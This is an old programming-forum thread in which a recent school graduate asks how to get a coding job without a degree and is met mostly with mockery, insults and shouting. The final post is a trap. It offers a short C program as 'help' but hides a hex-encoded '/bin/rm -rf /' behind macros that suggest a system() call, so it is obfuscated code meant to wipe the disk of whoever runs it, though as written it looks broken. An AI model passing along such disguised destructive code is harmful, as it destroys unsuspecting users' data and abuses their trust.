/prog/ - I need some help!

Name: Anonymous 2010-03-01 15:30

I just finished HS last year with top grades. I didn't enter University/College.

I'm hoping of getting a coding job somewhere. Something with OOp/Functional programming. I have the knowledge but and the skill but not the experience. I want to avoid 4 years of University/College if possible. Also I mostly self teach so any courses are just for the certifications.

What do?

Name: Anonymous 2010-03-01 15:31

btw sorry to have posted in other thread.

Name: Anonymous 2010-03-01 15:32

What do?
You'll need to master the English language first. www.usingenglish.com

Name: Anonymous 2010-03-01 15:40

>>3

I actually don't. I need to learn to type with more accuracy though.

And that "what do" was just to speak like the rest.

Name: Anonymous 2010-03-01 16:14

/bump

Name: Anonymous 2010-03-01 16:24

>>4
to speak like the rest.
You must be confused. The imageboards are located at http://boards.4chan.org/

Name: Anonymous 2010-03-01 16:29

>>6
FucK OFF!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

You understand that!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Name: Anonymous 2010-03-01 17:15

I bet being saged even pisses you off.

Go read your SICP and maybe then we can talk.

Name: Anonymous 2010-03-01 17:28

>>8
FUCK YOU WHO GAVE YOU THE RIGHT TO TALK TO ME LIKE THAT

Name: Anonymous 2010-03-01 17:30

>>9
FUCK YOU!

WHO GAVE YOU THE RIGHT TO IMPERSONATE ME AND INSULT ANON LIKE THAT!

Name: Anonymous 2010-03-01 17:31

>>7
Shini laser?

Name: Anonymous 2010-03-01 17:32

>>9,10
FUCK YOU, YOUR ANGER IS PISSING ME OFF!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Name: Anonymous 2010-03-01 17:44

>>12
I DUNNO ABOUT THE OTHER GUY BUT MY CAPSLOCK HAS BREADCRUMBS UNDERNEATH IT........................

Name: Anonymous 2010-03-01 18:05

getting a coding job somewhere. Something with OOp/Functional programming
Functional programming
EXPERT TROLL DETECTED

Name: Anonymous 2010-03-01 20:18

just finished HS
coding job
lol

Name: Anonymous 2010-03-01 20:58

Name: Anonymous 2010-03-01 21:02

LOL MY ANUS

Name: Anonymous 2010-03-01 22:23

>>15-17
Back to /b/, please!

Name: Anonymous 2010-03-01 23:26

>>18
MY ANUS DID NOT COME FROM /b/

Name: Anonymous 2010-03-01 23:46

It's hard enough with my Computer Science degree, 3.9 GPA, and solid field-relevant work experience.

You're fucked.

Name: Anonymous 2010-03-01 23:57

>>20
Pfft, only a 3.9 GPA? No wonder

Name: Anonymous 2010-03-02 0:35

>>21
Are you inferring that that .1 GPA score actually makes a difference?

Name: Anonymous 2010-03-02 1:17

#define AZD sys
#define BZD tem
#include <stdlib.h>
char * str = "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f";
int main(void)
{
AZDBCD(str);
return 0;
}

I need some help!

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